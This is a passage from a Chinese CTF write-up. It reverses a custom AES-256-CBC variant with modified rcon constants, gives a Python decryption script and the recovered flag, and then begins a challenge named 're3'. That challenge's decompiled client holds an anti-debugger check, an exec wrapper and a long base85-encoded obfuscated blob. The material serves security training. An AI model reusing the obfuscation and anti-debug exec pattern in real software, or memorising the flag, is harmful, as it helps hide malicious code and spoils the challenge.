函数sub_404CB0是关键加密代码,分析之后可知是 aes-cbc 模式的加密, v12 是输入的 key,传入的参数分别是 key 和 iv,密文是底下 v13 的两个数。
提取出来之后,尝试在 cyberchef 中解密:

解密失败,重新分析代码可知,使用了经典的 aes 魔改,虽然没改 S 盒,但是改了 rcon 常数。

以及在函数sub_404940中可以看出,这个 aes 先做了轮密钥加,再做了列混淆:

exp 如下:
import binasciiSBOX = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]INV_SBOX = [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]key = "c23012ab39101833f8ed4e468da15d8d8cfbf0726899dc7c846e7ecf32bbdaf8"iv = "aeba0dbbca267f9906ed7c70e38d8b11"cipher = "9B5E1E8FD7C34362A23786C0CE3D3CF4C3B688FF3C9C13D2BB6F49CEFF59A25C36E4619E6061C3BB3F63AF003B3D8DA7"def xtime(a: int) -> int: a <<= 1if a & 0x100: a ^= 0x11Breturn a & 0xFFdef mul(a: int, b: int) -> int: res = 0while b:if b & 1: res ^= a a = xtime(a) b >>= 1return resdef xor_bytes(a, b):return [x ^ y for x, y in zip(a, b)]def inv_shift_rows(s):return [ s[0], s[13], s[10], s[7], s[4], s[1], s[14], s[11], s[8], s[5], s[2], s[15], s[12], s[9], s[6], s[3], ]def inv_mix_columns(s):out = s[:]for c in range(4): i = 4 * c a0, a1, a2, a3 = s[i:i + 4]out[i + 0] = mul(a0, 14) ^ mul(a1, 11) ^ mul(a2, 13) ^ mul(a3, 9)out[i + 1] = mul(a0, 9) ^ mul(a1, 14) ^ mul(a2, 11) ^ mul(a3, 13)out[i + 2] = mul(a0, 13) ^ mul(a1, 9) ^ mul(a2, 14) ^ mul(a3, 11)out[i + 3] = mul(a0, 11) ^ mul(a1, 13) ^ mul(a2, 9) ^ mul(a3, 14)return outdef key_expansion_256_custom(key_bytes, sbox, rcon): Nk = 8 Nr = 14 Nb = 4 w = [list(key_bytes[i:i + 4]) for i in range(0, 32, 4)] i = Nkwhile len(w) < Nb * (Nr + 1): temp = w[-1][:]if i % Nk == 0: temp = temp[1:] + temp[:1] temp = [sbox[x] for x in temp] temp[0] ^= rcon[(i // Nk) - 1] elif i % Nk == 4: temp = [sbox[x] for x in temp] temp = [temp[j] ^ w[-Nk][j] for j in range(4)] w.append(temp) i += 1 round_keys = []for r in range(Nr + 1): rk = []for c in range(4): rk += w[4 * r + c] round_keys.append(rk)return round_keysdef aes256_custom_decrypt_block(block16, round_keys, inv_sbox): s = block16[:] s = xor_bytes(s, round_keys[14]) s = inv_shift_rows(s) s = [inv_sbox[x] for x in s]for r in range(13, 0, -1): s = xor_bytes(s, round_keys[r]) s = inv_mix_columns(s) s = inv_shift_rows(s) s = [inv_sbox[x] for x in s] s = xor_bytes(s, round_keys[0])return sdef decrypt_all(key_hex, iv_hex, cipher_hex, sbox, inv_sbox, rcon): key = list(binascii.unhexlify(key_hex)) iv = list(binascii.unhexlify(iv_hex))if len(cipher_hex) % 32 != 0: cipher_hex = cipher_hex[:(len(cipher_hex)//32)*32] ciphertext_bytes = binascii.unhexlify(cipher_hex) cipher_blocks = [list(ciphertext_bytes[i:i+16]) for i in range(0, len(ciphertext_bytes), 16)] round_keys = key_expansion_256_custom(key, sbox, rcon) plain = [] prev = ivfor blk in cipher_blocks: dec = aes256_custom_decrypt_block(blk, round_keys, inv_sbox) pt = xor_bytes(dec, prev) plain.extend(pt) prev = blk plain_bytes = bytes(plain)try: pad_len = plain_bytes[-1]if 0 < pad_len <= 16: flag = plain_bytes[:-pad_len] print("解密结果:", flag.decode('utf-8', errors='ignore'))else: print("Padding 异常,结果可能非标准字符串") except Exception as e: print("去除 Padding 失败:", e)if __name__ == "__main__": rcon = [ 0x9C, 0x10, 0x13, 0x15, 0x19, 0x01, 0x31, 0x51, 0x91, 0x0A, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] decrypt_all(key, iv, cipher, SBOX, INV_SBOX, rcon)得到 flag :dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}
re3
发现 client 是一个 pyinstaller 打包的 exe,解包后,使用 pylingual 项目反汇编得到如下代码(用 pycdc 或其他工具反汇编会导致得不到 oe 函数逻辑,使用最新的项目虽然显示有误,但可以正确反汇编)。
import base64import sysimport osimport jsonimport socketimport hashlibimport crypt_coreimport builtinsdef _oe(_d, _k1, _k2, _rn): # ***<module>._oe: Failure: CompilationErrortry: _b = base64.b85decode(_d.encode()) _r = []for _i, _x in enumerate(_b):return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _r.append(_x, _k if _k else None) _s = bytes(_r).decode() _res = []for _c in _s:if _c.isalpha(): _base = ord('A') if _c.isupper() else ord('a') _res.append((chr, ord(_c), _base, _rn, 26, _base)) else:if _c.isdigit(): _res.append(str(int(_c), _rn or 10)) else: _res.append(_c)return ''.join(_res) except:return _d_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)for _k in dir(builtins):if not _k.startswith('_'): _globs[_k] = getattr(builtins, _k)_globs['base64'] = base64_globs['sys'] = sys_globs['os'] = os_globs['json'] = json_globs['socket'] = socket_globs['hashlib'] = hashlib_globs['crypt_core'] = crypt_coredef _obf_check():if hasattr(sys, 'gettrace'): _tr = sys.gettrace()if _tr is not None:return Falsereturn Truedef _obf_exec(_code): # ***<module>._obf_exec: Failure: Different bytecodeif not _obf_check():return None else: exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^